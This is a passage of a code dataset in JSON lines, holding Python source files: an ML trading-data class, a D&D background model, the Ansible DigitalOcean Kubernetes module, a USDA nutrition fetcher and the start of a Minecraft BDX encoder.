self.learn_res.shape[0] > 0 : self.learn_res.iloc[:, i] = (self.learn_res.iloc[:, i] - mean) / stddev\n self.outofsample_res.iloc[:, i] = (self.outofsample_res.iloc[:, i] - mean) / stddev\n\n\n def postnormalize(self, sdev=0):\n return\n\n def getnames(self):\n return self.insample_data.columns.values\n\n def classify(self, sdev=0.5):\n for i in range(0, self.insample_res.shape[1]):\n self.insample_res.ix[self.insample_res.iloc[:,i] >= sdev, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] <= -sdev, i] = -1\n self.insample_res.ix[((self.insample_res.iloc[:, i] > -sdev) & (self.insample_res.iloc[:, i] < sdev)), i] = 0\n\n\n def splitdata_pct(self, skip_size, insample_size, test_size, outofsample_size ):\n self.insamplelearn_items = np.zeros(self.dataset_length, dtype=bool)\n self.insampletest_items = np.zeros(self.dataset_length, dtype=bool)\n self.outofsample_items = np.zeros(self.dataset_length, dtype=bool)\n\n self.insamplelearn_items[int(self.dataset_length *skip_size):int(self.dataset_length *skip_size + self.dataset_length*insample_size)]=True\n self.insampletest_items[int(self.dataset_length *skip_size + self.dataset_length * insample_size): int(self.dataset_length *skip_size + self.dataset_length * insample_size + self.dataset_length * test_size)] = True\n self.outofsample_items[int(self.dataset_length *skip_size + self.dataset_length * insample_size+ self.dataset_length * test_size):int(self.dataset_length *skip_size + self.dataset_length * insample_size + self.dataset_length * test_size + + self.dataset_length * outofsample_size)] = True\n\n self.insample_data = self.dataset.iloc[self.insamplelearn_items, :self.dataset_width]\n self.insample_res = self.datares.iloc[self.insamplelearn_items, :self.datares_width]\n\n self.learn_data = self.dataset.iloc[self.insampletest_items, :self.dataset_width]\n self.learn_res = self.datares.iloc[self.insampletest_items, :self.datares_width]\n\n self.outofsample_data = self.dataset.iloc[self.outofsample_items, :self.dataset_width]\n self.outofsample_res = self.datares.iloc[self.outofsample_items, :self.datares_width]\n\n def selectedcolumns(self, dataset, columns):\n self.insample_data = dataset.insample_data.iloc[:,columns]\n self.learn_data = dataset.learn_data.iloc[:,columns]\n self.outofsample_data = dataset.outofsample_data.iloc[:, columns]\n self.insample_res = dataset.insample_res\n self.learn_res = dataset.learn_res\n self.outofsample_res = dataset.outofsample_res\n\n def plothist(self, datatype=\"is\"):\n mydpi=96\n dt = self.insample_data\n dr = self.insample_res\n\n if datatype == \"ls\":\n dt = self.learn_data\n dr = self.learn_res\n if datatype == \"os\":\n dt = self.outofsample_data\n dr = self.outofsample_res\n\n\n colcount = 3\n rowcount = len( self.getnames()) / 3 +1\n if len( self.getnames()) % 3 != 0:\n rowcount = rowcount+1\n curplot=1\n fig = plt.figure(figsize=(1800/mydpi, 1000/mydpi), dpi=mydpi)\n\n for curcol in self.getnames():\n plt.subplot(rowcount,colcount, curplot)\n plt.hist(np.asarray(dt.loc[:,curcol]), bins=60)#\n plt.title(curcol)\n curplot=curplot+1\n\n plt.subplot(rowcount, colcount, curplot)\n plt.hist(np.asarray(dr), bins=60)\n plt.title(\"Res\")\n plt.show()\n\n def plotpoints(self, col1=0, col2=1, datatype=\"is\"):\n mydpi=96\n dt = self.insample_data\n dr = self.insample_res\n\n if datatype == \"ls\":\n dt = self.learn_data\n dr = self.learn_res\n if datatype == \"os\":\n dt = self.outofsample_data\n dr = self.outofsample_res\n fig = plt.figure(figsize=(1000 / mydpi, 1000 / mydpi), dpi=mydpi)\n # plt.ion()\n ax = fig.add_subplot(111)\n x=np.asarray(dt.iloc[:,col1])\n y=np.asarray(dt.iloc[:,col2])\n r =np.asarray(dr.iloc[:,0])\n ax.scatter(x[r>0], y[r>0], s=r*50, c=\"g\" )\n ax.scatter(x[r<=0], y[r<=0], s=r*50, c=\"r\" )\n plt.show()\n# plt.pause(0.001)\n\n\n\n def nnsmooth(self, columns=None, rescolumn=None, k=10, cycles=1):\n if columns == None:\n columns = range(0, self.dataset_width )\n colcnt = len(columns)\n dt = self.insample_data\n dataset = pd.DataFrame(dt.ix[:,columns])\n nbrs = NearestNeighbors(n_neighbors=k, algorithm='ball_tree').fit(dataset)\n distabnce, indicies = nbrs.kneighbors(dataset)\n\n for i in range(0, cycles):\n dr = self.insample_res\n for x in indicies:\n mn= self.insample_res.ix[ x[range(1,k)], 0 ].mean()\n dr.ix[x[0],0] = dr.ix[x[0],0] * 0.8 + mn * 0.2\n self.insample_res = dr\n\n def nnradiussmooth(self, columns=None, rescolumn=None, distance=0.2, cycles=1):\n if columns == None:\n columns = range(0, self.dataset_width)\n colcnt = len(columns)\n dt = self.insample_data\n dataset = pd.DataFrame(dt.ix[:, columns])\n nbrs = RadiusNeighborsClassifier().fit(dt, np.zeros_like(self.insample_res).reshape(self.insample_res.shape[0],))\n nb = nbrs.radius_neighbors(dt, distance, return_distance=False )\n\n for i in range(0, cycles):\n dr = self.insample_res\n for x in nb:\n mn = self.insample_res.ix[x, 0].mean()\n dr.ix[x[0], 0] = dr.ix[x[0], 0] * 0.8 + mn * 0.2\n self.insample_res = dr\n\n def nncut(self, distance=1, type='inner', datatype='all'):\n def nncut_proc( distance, dt, dr, type):\n if dt.shape[0] == 0:\n return [dt,dr]\n nbrs = RadiusNeighborsClassifier().fit(dt, np.zeros_like(dr).reshape(dt.shape[0],))\n colcnt = dt.shape[1]\n middle = nbrs.radius_neighbors(np.zeros(colcnt).reshape(1,colcnt), distance, return_distance=False)\n if type == 'inner':\n dt = dt.drop(dt.index[np.asarray(middle[0])])\n dr = dr.drop(dr.index[np.asarray(middle[0])])\n if type == 'outer':\n dt = dt[ dt.index.isin( dt.index[ np.asarray(middle[0]) ] )]\n dr = dr[ dr.index.isin( dr.index[ np.asarray(middle[0]) ] )]\n return [dt, dr]\n\n if datatype == 'is':\n self.insample_data, self.insample_res = nncut_proc(distance, self.insample_data, self.insample_res, type)\n if datatype == 'os':\n self.outofsample_data, self.outofsample_res = nncut_proc(distance, self.outofsample_data, self.outofsample_res,type)\n if datatype == 'all':\n self.insample_data, self.insample_res = nncut_proc(distance, self.insample_data, self.insample_res, type)\n self.learn_data, self.learn_res = nncut_proc(distance, self.learn_data, self.learn_res, type)\n self.outofsample_data, self.outofsample_res = nncut_proc(distance, self.outofsample_data, self.outofsample_res,type)\n\n def errorfunc(self, res, pred, verbose = False ):\n result = pd.DataFrame( res )\n result[\"Pred\"] = pred\n result_series = pd.Series( [tuple(i) for i in result.values] )\n\n rc = result_series.value_counts()\n positive= 0\n negative = 0\n falsepositive=0\n falsenegative = 0\n\n if (1,1) in rc.index:\n positive = rc[(1,1)]\n if (0,0) in rc.index:\n negative = rc[(0,0)]\n if (0,1) in rc.index:\n falsepositive = rc[(0,1)]\n if (1,0) in rc.index:\n falsenegative = rc[(1,0)]\n\n ret = - ( (falsenegative * 100.0 / (positive + falsenegative) * 1) + (falsepositive * 100.0 / (negative + falsepositive) * 2 ) )\n\n if( verbose == True ):\n print( \"Positive rate {0:0.2f}%. Negative rate {1:0.2f}%. Score : {2:0.2f}\".format( positive * 100.0 / (positive + falsenegative) , negative * 100.0 / (negative + falsepositive) , ret ) )\n return ret\n\n def filter(self, sdev=3, printerror = False):\n if sdev == 0:\n return\n print(self.insample_data.shape[1])\n res = np.ones(self.outofsample_res.shape[0], dtype=np.int8)\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n tmp = np.where(abs((self.outofsample_data.iloc[:, i] - mean) / stddev) < sdev, 1, 0)\n res = np.bitwise_and(res, tmp)\n\n if printerror == True:\n print ( self.outofsample_data.columns.values[i] )\n\n print(\"Filtered {0} items {1:0.2f}%\".format( len(tmp) - np.sum(tmp), (len(tmp) - sum(tmp)) * 100.0 / len(tmp) ) )\n self.errorfunc( self.outofsample_res[[0]], tmp, True)\n\n\n print(\"After filtering\")\n\n if printerror == True:\n self.errorfunc( self.outofsample_res[[0]], res, True )\n\n befores = self.outofsample_res.shape[0]\n\n self.outofsample_res = self.outofsample_res[ res == 1 ]\n self.outofsample_data = self.outofsample_data[ res == 1 ]\n print(\"Filtered {0} items {1:0.2f}%\".format( befores - self.outofsample_res.shape[0], ((befores - self.outofsample_res.shape[0]) * 100.0 / befores) ))\n return res\n\n\n def save(self, filename=\"data/dataset.txt\", dropna=False, fillna=False):\n ds = self.dataset\n ds = ds.join(self.datares)\n if dropna == True:\n ds = ds.dropna(axis=0)\n if fillna == True:\n ds = ds.fillna(0)\n\n ds.to_csv(filename, float_format=\"%.4f\")\n\n\n\nclass dataclass_ohlcv(dataclass):\n def create(self, ohlcv):\n dataset = pd.DataFrame(ohlcv['Close'].diff(), columns=['Close'], index=ohlcv.index)\n dataset['MA'] = ( ta.MA(ohlcv, 10) - ohlcv['Close']) / ( ta.ATR(ohlcv, 10))\n dataset['MA2'] = ( ta.MA(ohlcv, 20) - ohlcv['Close']) / ( ta.ATR(ohlcv, 10))\n dataset['Res'] = ohlcv['Close'].shift(-1).diff()\n dataset = dataset.dropna(axis=0)\n\n self.dataset = pd.DataFrame(dataset.ix[:, range(0, dataset.shape[1] - 2)])\n self.datares = pd.DataFrame(dataset.ix[:, ((dataset.shape[1] - 1))])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n\nclass dataclass_syseval(dataclass):\n def create(self, filename):\n dataset = pd.read_csv(filename, index_col = 'DateTime')\n\n dataset = dataset[ dataset['LongSD'] != 0 ]\n dataset = dataset[ dataset['ShortSD'] != 0 ]\n\n self.dataset = pd.DataFrame( dataset.ix[:, range(0, dataset.shape[1] - 6)] )\n self.datares = pd.DataFrame( dataset.ix[:, range( dataset.shape[1] -6 , dataset.shape[1] )])\n\n\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n def classify(self, n=20):\n for i in range(0, self.insample_res.shape[1]):\n #print(self.insample_res.iloc[:, i])\n #np.which( self.insample_res.iloc[:, i] >= n, 0, 1 )\n self.insample_res.ix[self.insample_res.iloc[:, i] < n, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] >= n, i] = 0\n\n\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] < n, i] = 1\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] >= n, i] = 0\n\n\nclass dataclass_syseval_binary(dataclass):\n def create(self, filename, dropna=False, fillna = False):\n dataset = pd.read_csv(filename, index_col = 'DateTime', parse_dates=True )\n\n if dropna == True:\n dataset = dataset.dropna(axis=0)\n if fillna == True:\n dataset = dataset.fillna(0)\n\n self.dataset = pd.DataFrame( dataset.ix[:, range(0, dataset.shape[1] - 6)] )\n self.datares = pd.DataFrame( dataset.ix[:, range( dataset.shape[1] -6 , dataset.shape[1] )])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n def classify(self, n=20):\n for i in range(0, self.insample_res.shape[1]):\n self.insample_res.ix[self.insample_res.iloc[:, i] < n, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] >= n, i] = 0\n\n\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] < n, i] = 1\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] >= n, i] = 0\n\n def binaryclassify(self, column=0, n=0 , reverse=False):\n\n if reverse == True:\n greater = 0\n lower = 1\n else:\n greater = 1\n lower = 0\n\n self.insample_res[[column]] = np.where( self.insample_res[[column]] > n, greater, lower )\n self.outofsample_res[[column]] = np.where( self.outofsample_res[[column]] > n, greater, lower )\n\n\n\n","repo_name":"delerex/ml-framework","sub_path":"python/dataclass.py","file_name":"dataclass.py","file_ext":"py","file_size_in_byte":16547,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"6660568342","text":"\nfrom model.xml_entity import XmlEntity\nfrom model.action import Action\nfrom model.attribute import Attribute\nfrom utils.regexes import get_sources\n\n\nclass Background (XmlEntity):\n def __init__(self, xml_node):\n super().__init__(xml_node)\n\n self.name = self._get('name')\n self.proficiencies = self._get_as_list('proficiency')\n self.traits = self._get_as_obj_list('trait', Action)\n self.modifiers = self._get_as_obj_list('modifier', Attribute)\n\n self.sources = []\n for t in self.traits:\n if t.name == 'Description':\n self.sources = get_sources(t.text)\n\n def __repr__(self):\n return 'Name: {0.name}\\nProficiencies: {0.proficiencies}\\nTraits: {0.traits}\\nModifiers: {0.modifiers}'.format(self)\n","repo_name":"iAmMortos/DndCharacterGenerator","sub_path":"model/background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10184457582","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n\nDOCUMENTATION = r\"\"\"\n---\nmodule: digital_ocean_kubernetes\nshort_description: Create and delete a DigitalOcean Kubernetes cluster\ndescription:\n - Create and delete a Kubernetes cluster in DigitalOcean (and optionally wait for it to be running).\nversion_added: 1.3.0\nauthor: Mark Mercado (@mamercad)\noptions:\n oauth_token:\n description:\n - DigitalOcean OAuth token; can be specified in C(DO_API_KEY), C(DO_API_TOKEN), or C(DO_OAUTH_TOKEN) environment variables\n type: str\n aliases: ['API_TOKEN']\n required: true\n state:\n description:\n - The usual, C(present) to create, C(absent) to destroy\n type: str\n choices: ['present', 'absent']\n default: present\n name:\n description:\n - A human-readable name for a Kubernetes cluster.\n type: str\n required: true\n region:\n description:\n - The slug identifier for the region where the Kubernetes cluster will be created.\n type: str\n aliases: ['region_id']\n default: nyc1\n version:\n description:\n - The slug identifier for the version of Kubernetes used for the cluster. See the /v2/kubernetes/options endpoint for available versions.\n type: str\n required: false\n default: latest\n auto_upgrade:\n description:\n - A boolean value indicating whether the cluster will be automatically upgraded to new patch releases during its maintenance window.\n type: bool\n required: false\n default: false\n surge_upgrade:\n description:\n - A boolean value indicating whether surge upgrade is enabled/disabled for the cluster.\n - Surge upgrade makes cluster upgrades fast and reliable by bringing up new nodes before destroying the outdated nodes.\n type: bool\n required: false\n default: false\n tags:\n description:\n - A flat array of tag names as strings to be applied to the Kubernetes cluster.\n - All clusters will be automatically tagged \"k8s\" and \"k8s:$K8S_CLUSTER_ID\" in addition to any tags provided by the user.\n required: false\n type: list\n elements: str\n maintenance_policy:\n description:\n - An object specifying the maintenance window policy for the Kubernetes cluster (see table below).\n type: dict\n required: false\n node_pools:\n description:\n - An object specifying the details of the worker nodes available to the Kubernetes cluster (see table below).\n type: list\n elements: dict\n suboptions:\n name:\n type: str\n description: A human-readable name for the node pool.\n size:\n type: str\n description: The slug identifier for the type of Droplet used as workers in the node pool.\n count:\n type: int\n description: The number of Droplet instances in the node pool.\n tags:\n type: list\n elements: str\n description:\n - An array containing the tags applied to the node pool.\n - All node pools are automatically tagged C(\"k8s\"), C(\"k8s-worker\"), and C(\"k8s:$K8S_CLUSTER_ID\").\n labels:\n type: dict\n description: An object containing a set of Kubernetes labels. The keys are user-defined.\n taints:\n type: list\n elements: dict\n description:\n - An array of taints to apply to all nodes in a pool.\n - Taints will automatically be applied to all existing nodes and any subsequent nodes added to the pool.\n - When a taint is removed, it is removed from all nodes in the pool.\n auto_scale:\n type: bool\n description:\n - A boolean value indicating whether auto-scaling is enabled for this node pool.\n min_nodes:\n type: int\n description:\n - The minimum number of nodes that this node pool can be auto-scaled to.\n - The value will be C(0) if C(auto_scale) is set to C(false).\n max_nodes:\n type: int\n description:\n - The maximum number of nodes that this node pool can be auto-scaled to.\n - The value will be C(0) if C(auto_scale) is set to C(false).\n default:\n - name: worker-pool\n size: s-1vcpu-2gb\n count: 1\n tags: []\n labels: {}\n taints: []\n auto_scale: false\n min_nodes: 0\n max_nodes: 0\n vpc_uuid:\n description:\n - A string specifying the UUID of the VPC to which the Kubernetes cluster will be assigned.\n - If excluded, the cluster will be assigned to your account's default VPC for the region.\n type: str\n required: false\n return_kubeconfig:\n description:\n - Controls whether or not to return the C(kubeconfig).\n type: bool\n required: false\n default: false\n wait:\n description:\n - Wait for the cluster to be running before returning.\n type: bool\n required: false\n default: true\n wait_timeout:\n description:\n - How long before wait gives up, in seconds, when creating a cluster.\n type: int\n default: 600\n ha:\n description:\n - A boolean value indicating whether the control plane is run in a highly available configuration in the cluster.\n - Highly available control planes incur less downtime.\n type: bool\n default: false\n\"\"\"\n\n\nEXAMPLES = r\"\"\"\n- name: Create a new DigitalOcean Kubernetes cluster in New York 1\n community.digitalocean.digital_ocean_kubernetes:\n state: present\n oauth_token: \"{{ lookup('env', 'DO_API_TOKEN') }}\"\n name: hacktoberfest\n region: nyc1\n node_pools:\n - name: hacktoberfest-workers\n size: s-1vcpu-2gb\n count: 3\n return_kubeconfig: true\n wait_timeout: 600\n register: my_cluster\n\n- name: Show the kubeconfig for the cluster we just created\n debug:\n msg: \"{{ my_cluster.data.kubeconfig }}\"\n\n- name: Destroy (delete) an existing DigitalOcean Kubernetes cluster\n community.digitalocean.digital_ocean_kubernetes:\n state: absent\n oauth_token: \"{{ lookup('env', 'DO_API_TOKEN') }}\"\n name: hacktoberfest\n\"\"\"\n\n\n# Digital Ocean API info https://docs.digitalocean.com/reference/api/api-reference/#tag/Kubernetes\n# The only variance from the documented response is that the kubeconfig is (if return_kubeconfig is True) merged in at data['kubeconfig']\nRETURN = r\"\"\"\ndata:\n description: A DigitalOcean Kubernetes cluster (and optional C(kubeconfig))\n returned: changed\n type: dict\n sample:\n kubeconfig: |-\n apiVersion: v1\n clusters:\n - cluster:\n certificate-authority-data: REDACTED\n server: https://REDACTED.k8s.ondigitalocean.com\n name: do-nyc1-hacktoberfest\n contexts:\n - context:\n cluster: do-nyc1-hacktoberfest\n user: do-nyc1-hacktoberfest-admin\n name: do-nyc1-hacktoberfest\n current-context: do-nyc1-hacktoberfest\n kind: Config\n preferences: {}\n users:\n - name: do-nyc1-hacktoberfest-admin\n user:\n token: REDACTED\n kubernetes_cluster:\n auto_upgrade: false\n cluster_subnet: 10.244.0.0/16\n created_at: '2020-09-27T00:55:37Z'\n endpoint: https://REDACTED.k8s.ondigitalocean.com\n id: REDACTED\n ipv4: REDACTED\n maintenance_policy:\n day: any\n duration: 4h0m0s\n start_time: '15:00'\n name: hacktoberfest\n node_pools:\n - auto_scale: false\n count: 1\n id: REDACTED\n labels: null\n max_nodes: 0\n min_nodes: 0\n name: hacktoberfest-workers\n nodes:\n - created_at: '2020-09-27T00:55:37Z'\n droplet_id: '209555245'\n id: REDACTED\n name: hacktoberfest-workers-3tdq1\n status:\n state: running\n updated_at: '2020-09-27T00:58:36Z'\n size: s-1vcpu-2gb\n tags:\n - k8s\n - k8s:REDACTED\n - k8s:worker\n taints: []\n region: nyc1\n service_subnet: 10.245.0.0/16\n status:\n state: running\n surge_upgrade: false\n tags:\n - k8s\n - k8s:REDACTED\n updated_at: '2020-09-27T01:00:37Z'\n version: 1.18.8-do.1\n vpc_uuid: REDACTED\n\"\"\"\n\n\nimport time\nfrom ansible.module_utils.basic import AnsibleModule, env_fallback\nfrom ansible_collections.community.digitalocean.plugins.module_utils.digital_ocean import (\n DigitalOceanHelper,\n)\n\n\nclass DOKubernetes(object):\n def __init__(self, module):\n self.rest = DigitalOceanHelper(module)\n self.module = module\n # Pop these values so we don't include them in the POST data\n self.return_kubeconfig = self.module.params.pop(\"return_kubeconfig\", False)\n self.wait = self.module.params.pop(\"wait\", True)\n self.wait_timeout = self.module.params.pop(\"wait_timeout\", 600)\n self.module.params.pop(\"oauth_token\")\n self.cluster_id = None\n\n def get_by_id(self):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster matching on id\"\"\"\n response = self.rest.get(\"kubernetes/clusters/{0}\".format(self.cluster_id))\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def get_all_clusters(self):\n \"\"\"Returns all DigitalOcean Kubernetes clusters\"\"\"\n response = self.rest.get(\"kubernetes/clusters\")\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def get_by_name(self, cluster_name):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster matching on name\"\"\"\n if not cluster_name:\n return None\n clusters = self.get_all_clusters()\n for cluster in clusters[\"kubernetes_clusters\"]:\n if cluster[\"name\"] == cluster_name:\n return cluster\n return None\n\n def get_kubernetes_kubeconfig(self):\n \"\"\"Returns the kubeconfig for an existing DigitalOcean Kubernetes cluster\"\"\"\n response = self.rest.get(\n \"kubernetes/clusters/{0}/kubeconfig\".format(self.cluster_id)\n )\n if response.status_code == 200:\n return response.body\n else:\n self.module.fail_json(msg=\"Failed to retrieve kubeconfig\")\n\n def get_kubernetes(self):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster by name\"\"\"\n json_data = self.get_by_name(self.module.params[\"name\"])\n if json_data:\n self.cluster_id = json_data[\"id\"]\n return json_data\n else:\n return None\n\n def get_kubernetes_options(self):\n \"\"\"Fetches DigitalOcean Kubernetes options: regions, sizes, versions.\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/list_kubernetes_options\n \"\"\"\n response = self.rest.get(\"kubernetes/options\")\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def ensure_running(self):\n \"\"\"Waits for the newly created DigitalOcean Kubernetes cluster to be running\"\"\"\n end_time = time.monotonic() + self.wait_timeout\n while time.monotonic() < end_time:\n cluster = self.get_by_id()\n if cluster[\"kubernetes_cluster\"][\"status\"][\"state\"] == \"running\":\n return cluster\n time.sleep(10)\n self.module.fail_json(msg=\"Wait for Kubernetes cluster to be running\")\n\n def create(self):\n \"\"\"Creates a DigitalOcean Kubernetes cluster\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/create_kubernetes_cluster\n \"\"\"\n # Get valid Kubernetes options (regions, sizes, versions)\n kubernetes_options = self.get_kubernetes_options()[\"options\"]\n # Validate region\n valid_regions = [str(x[\"slug\"]) for x in kubernetes_options[\"regions\"]]\n if self.module.params.get(\"region\") not in valid_regions:\n self.module.fail_json(\n msg=\"Invalid region {0} (valid regions are {1})\".format(\n self.module.params.get(\"region\"), \", \".join(valid_regions)\n )\n )\n # Validate version\n valid_versions = [str(x[\"slug\"]) for x in kubernetes_options[\"versions\"]]\n valid_versions.append(\"latest\")\n if self.module.params.get(\"version\") not in valid_versions:\n self.module.fail_json(\n msg=\"Invalid version {0} (valid versions are {1})\".format(\n self.module.params.get(\"version\"), \", \".join(valid_versions)\n )\n )\n # Validate size\n valid_sizes = [str(x[\"slug\"]) for x in kubernetes_options[\"sizes\"]]\n for node_pool in self.module.params.get(\"node_pools\"):\n if node_pool[\"size\"] not in valid_sizes:\n self.module.fail_json(\n msg=\"Invalid size {0} (valid sizes are {1})\".format(\n node_pool[\"size\"], \", \".join(valid_sizes)\n )\n )\n\n # Create the Kubernetes cluster\n json_data = self.get_kubernetes()\n if json_data:\n # Add the kubeconfig to the return\n if self.return_kubeconfig:\n json_data[\"kubeconfig\"] = self.get_kubernetes_kubeconfig()\n self.module.exit_json(changed=False, data=json_data)\n if self.module.check_mode:\n self.module.exit_json(changed=True)\n request_params = dict(self.module.params)\n response = self.rest.post(\"kubernetes/clusters\", data=request_params)\n json_data = response.json\n if response.status_code >= 400:\n self.module.fail_json(changed=False, msg=json_data)\n # Set the cluster_id\n self.cluster_id = json_data[\"kubernetes_cluster\"][\"id\"]\n if self.wait:\n json_data = self.ensure_running()\n # Add the kubeconfig to the return\n if self.return_kubeconfig:\n json_data[\"kubeconfig\"] = self.get_kubernetes_kubeconfig()\n self.module.exit_json(changed=True, data=json_data[\"kubernetes_cluster\"])\n\n def delete(self):\n \"\"\"Deletes a DigitalOcean Kubernetes cluster\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/delete_kubernetes_cluster\n \"\"\"\n json_data = self.get_kubernetes()\n if json_data:\n if self.module.check_mode:\n self.module.exit_json(changed=True)\n response = self.rest.delete(\n \"kubernetes/clusters/{0}\".format(json_data[\"id\"])\n )\n if response.status_code == 204:\n self.module.exit_json(\n changed=True, data=json_data, msg=\"Kubernetes cluster deleted\"\n )\n self.module.fail_json(\n changed=False, msg=\"Failed to delete Kubernetes cluster\"\n )\n json_data = response.json\n else:\n self.module.exit_json(changed=False, msg=\"Kubernetes cluster not found\")\n\n\ndef run(module):\n state = module.params.pop(\"state\")\n cluster = DOKubernetes(module)\n if state == \"present\":\n cluster.create()\n elif state == \"absent\":\n cluster.delete()\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n state=dict(choices=[\"present\", \"absent\"], default=\"present\"),\n oauth_token=dict(\n aliases=[\"API_TOKEN\"],\n no_log=True,\n fallback=(\n env_fallback,\n [\"DO_API_TOKEN\", \"DO_API_KEY\", \"DO_OAUTH_TOKEN\"],\n ),\n required=True,\n ),\n name=dict(type=\"str\", required=True),\n region=dict(aliases=[\"region_id\"], default=\"nyc1\"),\n version=dict(type=\"str\", default=\"latest\"),\n auto_upgrade=dict(type=\"bool\", default=False),\n surge_upgrade=dict(type=\"bool\", default=False),\n tags=dict(type=\"list\", elements=\"str\"),\n maintenance_policy=dict(type=\"dict\"),\n node_pools=dict(\n type=\"list\",\n elements=\"dict\",\n default=[\n {\n \"name\": \"worker-pool\",\n \"size\": \"s-1vcpu-2gb\",\n \"count\": 1,\n \"tags\": [],\n \"labels\": {},\n \"taints\": [],\n \"auto_scale\": False,\n \"min_nodes\": 0,\n \"max_nodes\": 0,\n }\n ],\n ),\n vpc_uuid=dict(type=\"str\"),\n return_kubeconfig=dict(type=\"bool\", default=False),\n wait=dict(type=\"bool\", default=True),\n wait_timeout=dict(type=\"int\", default=600),\n ha=dict(type=\"bool\", default=False),\n ),\n required_if=(\n [\n (\"state\", \"present\", [\"name\", \"region\", \"version\", \"node_pools\"]),\n ]\n ),\n supports_check_mode=True,\n )\n\n run(module)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ansible-collections/community.digitalocean","sub_path":"plugins/modules/digital_ocean_kubernetes.py","file_name":"digital_ocean_kubernetes.py","file_ext":"py","file_size_in_byte":17041,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"72"} +{"seq_id":"18408312037","text":"import json\nimport requests\nfrom pprint import pprint\nfrom macros import Macros\nfrom food_ids import FOOD_IDS, NUTRIENT_IDS, API_KEY\n\n# NOTE: type b is basic, type f is full, s is stats\nURL = 'https://api.nal.usda.gov/ndb/V2/reports?ndbno={}&type=s&format=json&api_key={}'\nDEFAULT_SERVING = 100 # grams\n\nclass Food(object):\n \"\"\"a food object from an ndbno ID \"\"\"\n def __init__(self, name=\"\", update_dict=None, debug=False):\n if update_dict:\n self.__dict__.update(update_dict)\n m = update_dict['macros']\n self.macros = Macros(m['serving_size'],\n m['protein_grams'],\n m['fat_grams'],\n m['carb_grams'])\n else:\n self.name = name\n self.id = FOOD_IDS[name] # ndbno\n self.debug = debug\n self.macros = self._fetch_food_info()\n\n def __str__(self):\n return self.name\n\n def _fetch_food_info(self):\n resp = requests.get(URL.format(self.id, API_KEY))\n json_dict = resp.json()\n if self.debug:\n print(\"============BEGIN RESPONSE:===============\")\n pprint(json_dict)\n print(\"============END RESPONSE:===============\")\n food_obj = json_dict['foods'][0]['food']\n nutrients = food_obj['nutrients']\n try:\n serving_grams = nutrients[0]['measures'][0]['eqv']\n assert nutrients[0]['measures'][0]['eunit'] == 'g'\n except (KeyError, AssertionError):\n # Not all foods have a \"measures\" key\n if self.debug:\n print(\"We cannot find the `measures` key, continuing...\")\n if self.name == \"Avocado\":\n serving_grams = 136\n elif self.name == \"Whole Milk\":\n serving_grams = 240 # mililiters not grams\n else:\n raise\n\n # now build the macros\n protein = fat = carbs = 0\n for d in nutrients:\n if d['nutrient_id'] == NUTRIENT_IDS['protein']:\n protein = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n elif d['nutrient_id'] == NUTRIENT_IDS['fat']:\n fat = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n elif d['nutrient_id'] == NUTRIENT_IDS['carbs']:\n carbs = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n return Macros(serving_grams, protein, fat, carbs)\n\n def _calc_calorie_for_macro(self, serving_size, value):\n return round(serving_size / DEFAULT_SERVING * value, 1)\n\n\n\n# Tests:\nif __name__ == '__main__':\n out = []\n for k in FOOD_IDS:\n try:\n print(\"k is : \", k)\n out.append(Food(k))\n except Exception as e:\n print(\"cannot make this food: \", k)\n print(\"... because: \", e)\n raise\n print([f.__dict__ for f in out])\n","repo_name":"JacobIRR/calories_and_macros","sub_path":"food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23642815412","text":"import sys\nimport os\nimport brotli\nimport struct\nimport json\nimport base64\nfrom hashlib import sha256\nimport requests\n\n\nclass BdxEncoder(object):\n # command block\n CB = 'command_block'\n # repeat command block\n REPEAT_CB = 'repeating_command_block'\n # chain commnad block\n CHAIN_CB = 'chain_command_block'\n\n MODE_CB = 0\n MODE_REPEAT_CB = 1\n MODE_CHAIN_CB = 2\n\n # face down\n FACE_DOWN = 0\n FACE_UPPER = 1\n # z--\n FACE_NORTH = 2\n FACE_ZNN = 2\n # z++\n FACE_SOUTH = 3\n FACE_ZPP = 3\n # x--\n FACE_WEST = 4\n FACE_XNN = 4\n # x++\n FACE_EAST = 5\n FACE_XPP = 5\n\n cb_mode = ['Impulse', 'Repeat', 'Chain']\n cb_face = [\n 'down', 'up', 'north (z-)', 'source (z+)', 'west (x-)', 'east (x+)'\n ]\n\n def __init__(self,\n author=None,\n need_sign=True,\n sign_token=None,\n log_path=None,\n log_level=None) -> None:\n super().__init__()\n 